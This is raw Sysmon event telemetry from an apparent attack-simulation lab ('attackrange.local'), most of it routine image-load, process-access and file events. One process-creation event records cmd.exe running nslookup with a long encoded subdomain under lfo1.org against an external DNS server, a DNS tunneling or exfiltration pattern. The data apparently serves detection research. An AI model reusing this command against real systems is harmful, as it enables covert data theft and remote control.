Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8EBF71432DF6091FD8588888FCA39767,SHA256=C084CC8E7E2E6C8DD741AD12F7A3535A0A24BAB67FCBEB207AA45A8A73D2A3E1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000056619Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:24.595{7BD73061-6D0F-613B-9406-00000000F001}44803132C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHCORE.dll+64c8|C:\Windows\System32\SHCORE.dll+6497|C:\Windows\System32\SHCORE.dll+6387|C:\Windows\System32\SHCORE.dll+62fd|C:\Windows\System32\SHCORE.dll+620a|C:\Windows\System32\SHELL32.dll+55a50|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11ed7|C:\Windows\System32\USER32.dll+22a53|C:\Windows\SYSTEM32\ntdll.dll+a9814|UNKNOWN(FFFFF800916DA8A8)|UNKNOWN(FFFFEC48E0AA5B68)|UNKNOWN(FFFFEC48E0AA5CE7)|UNKNOWN(FFFFEC48E0AA0371)|UNKNOWN(FFFFEC48E0AA1D3A)|UNKNOWN(FFFFEC48E0A9FFF6)|UNKNOWN(FFFFF800913F2103)|C:\Windows\System32\win32u.dll+10c4|C:\Windows\System32\USER32.dll+1ea2e|C:\Windows\System32\SHELL32.dll+592ab|C:\Windows\System32\SHELL32.dll+dac6a|C:\Windows\System32\SHCORE.dll+33fad 10341000x800000000000000056618Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:24.595{7BD73061-6D0F-613B-9406-00000000F001}44803132C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHCORE.dll+64c8|C:\Windows\System32\SHCORE.dll+1c0e5|C:\Windows\System32\SHELL32.dll+55531|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11ed7|C:\Windows\System32\USER32.dll+22a53|C:\Windows\SYSTEM32\ntdll.dll+a9814|UNKNOWN(FFFFF800916DA8A8)|UNKNOWN(FFFFEC48E0AA5B68)|UNKNOWN(FFFFEC48E0AA5CE7)|UNKNOWN(FFFFEC48E0AA0371)|UNKNOWN(FFFFEC48E0AA1D3A)|UNKNOWN(FFFFEC48E0A9FFF6)|UNKNOWN(FFFFF800913F2103)|C:\Windows\System32\win32u.dll+10c4|C:\Windows\System32\USER32.dll+1ea2e|C:\Windows\System32\SHELL32.dll+592ab|C:\Windows\System32\SHELL32.dll+dac6a|C:\Windows\System32\SHCORE.dll+33fad|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000056617Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:24.595{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms~RF3b80d9.TMPMD5=C0FE3B89255FA7874A1CD1152C3E4780,SHA256=1E93C4C546034E6AEA054E5F32931C9F60ADEC11C9CB79DD7964C652CC660512,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 11241100x800000000000000056616Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:24.242{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\AlternateServices.txt2021-09-10 14:38:18.566 23542300x800000000000000056615Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:24.242{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\AlternateServices.txtMD5=0C39E55A83D61724F11110784C094ACE,SHA256=5BCF4A6D491488D044B2C7174AE330BCF275A4EF438FE7CED1AC42F77D52D1B9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 11241100x800000000000000056614Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:24.195{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\SiteSecurityServiceState.txt2021-09-10 14:38:18.566 23542300x800000000000000056613Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:24.195{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\SiteSecurityServiceState.txtMD5=6E6A6801ACCE0747A156C93A5B4D62C1,SHA256=CD9CD834B45B3EE689B9D796487FE607361B0AAAF2D02337DE2D6E11D9BC1214,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018111Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:24.471{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50408-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018110Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:25.807{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=736244B5679256333144846C6D5D7FF2,SHA256=CDDBA7BAB77D84363E2A03C100D2956F40FCB0C0F26C1E8A0BFBCEE5590669E5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056698Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.743{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ACCFCEDEFAA1180EDE0A91F926A1B3EA,SHA256=77958185B5E0BB4203A5319DA001A91DB9FA453344B7FC18FD523C69A04E378E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056697Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.580{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3D42AC75A5B43290D3BA2EF68527A851,SHA256=348D70481ADFDFBC93D6EFF33A4B9BAAA3AB83109877C982BD53C8C53FCE705C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000056696Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.495{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\System32\nslookup.exeC:\Windows\System32\nslookup.exe10.0.14393.0 (rs1_release.160715-1616)nslookupMicrosoft® Windows® Operating SystemMicrosoft Corporationnslookup.exeMD5=488698C899FE524430270C1D14FE99CF,SHA256=24553BFAB13871FAF3EE6F1F8EFECC5D25368A706A42CA35319228D3547418FA,IMPHASH=446F3F94B921C80C9E9497075AA3EF61trueMicrosoft WindowsValid 734700x800000000000000056695Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.514{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\System32\nslookup.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 10341000x800000000000000056694Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.514{7BD73061-65B2-613B-1400-00000000F001}3401392C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\cryptsvc.dll+6124|c:\windows\system32\cryptsvc.dll+5e34|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056693Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.514{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\System32\nslookup.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000056692Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.514{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\System32\nslookup.exeC:\Windows\System32\mswsock.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft Windows Sockets 2.0 Service ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationmswsock.dllMD5=B52ACA309FD6F72105951FFBA022327B,SHA256=02AB6CCE4BF0D3F075D5E982F5A4CBDB514CE7C245EA474D7846A86CD3F13202,IMPHASH=0E9C1FA273A5EFD763FAC8E145B20C80trueMicrosoft WindowsValid 734700x800000000000000056691Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.514{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\System32\nslookup.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000056690Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.514{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\System32\nslookup.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000056689Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.514{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\System32\nslookup.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000056688Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.514{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\System32\nslookup.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000056687Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.514{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\System32\nslookup.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 10341000x800000000000000056686Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.495{7BD73061-74E9-613B-AC0B-00000000F001}22801504C:\Windows\system32\conhost.exe{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\system32\nslookup.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056685Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.495{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\System32\nslookup.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000056684Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.495{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\System32\nslookup.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000056683Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.495{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\System32\nslookup.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 10341000x800000000000000056682Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.495{7BD73061-6D0B-613B-7F06-00000000F001}36602200C:\Windows\system32\csrss.exe{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\system32\nslookup.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000056681Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.495{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056680Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.495{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056679Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.495{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056678Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.495{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056677Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.495{7BD73061-74E9-613B-AB0B-00000000F001}69767164C:\Windows\system32\cmd.exe{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\system32\nslookup.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000056676Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.495{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\System32\nslookup.exe10.0.14393.0 (rs1_release.160715-1616)nslookupMicrosoft® Windows® Operating SystemMicrosoft Corporationnslookup.exenslookup.exe -timeout=5 -retry=3 -type=A fQlL9SOYBrm5CNMpVzkKtoHG_8cJPTh36*e0UEqyRunWFx4DvAX7jgsZ1bIwi2d.apZzbPOt2JqSx8K2ZcsEjTGz7TGTyhKgKVktgVUQ9rKQSrKo9rKolHE8OzqvENj.8yrKSlcXtvNXtvCltvNltvNetvCqFECLtECLfECLBECL_ECKNOzXtvMktvCltvN.lfo1.org 94.103.82.250 C:\Users\Public\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=488698C899FE524430270C1D14FE99CF,SHA256=24553BFAB13871FAF3EE6F1F8EFECC5D25368A706A42CA35319228D3547418FA,IMPHASH=446F3F94B921C80C9E9497075AA3EF61{7BD73061-74E9-613B-AB0B-00000000F001}6976C:\Windows\System32\cmd.exe"C:\Windows\system32\cmd.exe" /c nslookup.exe -timeout=5 -retry=3 -type=A fQlL9SOYBrm5CNMpVzkKtoHG_8cJPTh36*e0UEqyRunWFx4DvAX7jgsZ1bIwi2d.apZzbPOt2JqSx8K2ZcsEjTGz7TGTyhKgKVktgVUQ9rKQSrKo9rKolHE8OzqvENj.8yrKSlcXtvNXtvCltvNltvNetvCqFECLtECLfECLBECL_ECKNOzXtvMktvCltvN.lfo1.org 94.103.82.250 > C:\Users\ADMINI~1\AppData\Local\Temp\nlsvqc.tmp 2>&1 734700x800000000000000056675Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.462{7BD73061-74E9-613B-AB0B-00000000F001}6976C:\Windows\System32\cmd.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000056674Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.457{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll6.10 (rs1_release.210107-1130)User Experience Controls LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationcomctl32.DLLMD5=FD486B6FA360ABE43E02E85F3164E9BE,SHA256=733922A216EC03FC6AA405205CD2F8BB81A39180F26839588B97F310E21071B5,IMPHASH=C3F4A4DA2950075F09DD008B60FF567CtrueMicrosoft WindowsValid 734700x800000000000000056673Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.442{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\dwmapi.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft Desktop Window Manager APIMicrosoft® Windows® Operating SystemMicrosoft Corporationdwmapi.dllMD5=74621C6ABE4E9A568DF0A38E7282D71E,SHA256=0788A092D47800D0EB120A7DBB9E59234D0722A4A2E80ECE6CE70E3A84A3750A,IMPHASH=ADB9F71ACD4F7D3CF761AB6C59A7F1E5trueMicrosoft WindowsValid 734700x800000000000000056672Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.442{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\msctf.dll10.0.14393.4530 (rs1_release.210705-0736)MSCTF Server DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationMSCTF.DLLMD5=E2374A214A9F0C8347C29EBDE3447986,SHA256=F2260FE7E0C4E92D49CF0F550E2A1B3D3F1D2D76E6F5C8F16B0E16B6117D9EE1,IMPHASH=EB898F83C3A5D6877A523BC64B41CB06trueMicrosoft WindowsValid 10341000x800000000000000056671Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.442{7BD73061-65B2-613B-1600-00000000F001}1296972C:\Windows\system32\svchost.exe{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\system32\conhost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056670Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.442{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\system32\conhost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056669Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\uxtheme.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft UxTheme LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationUxTheme.dllMD5=43AEE61AFABE70BFC876CC53D6A64E04,SHA256=8A4C893AEB075D3D9EFEC52E49CEF94471EB9F0A91BEB4C07DF38F8A48910C12,IMPHASH=67E6A4C8E164C0229E3FF1626F1894C6trueMicrosoft WindowsValid 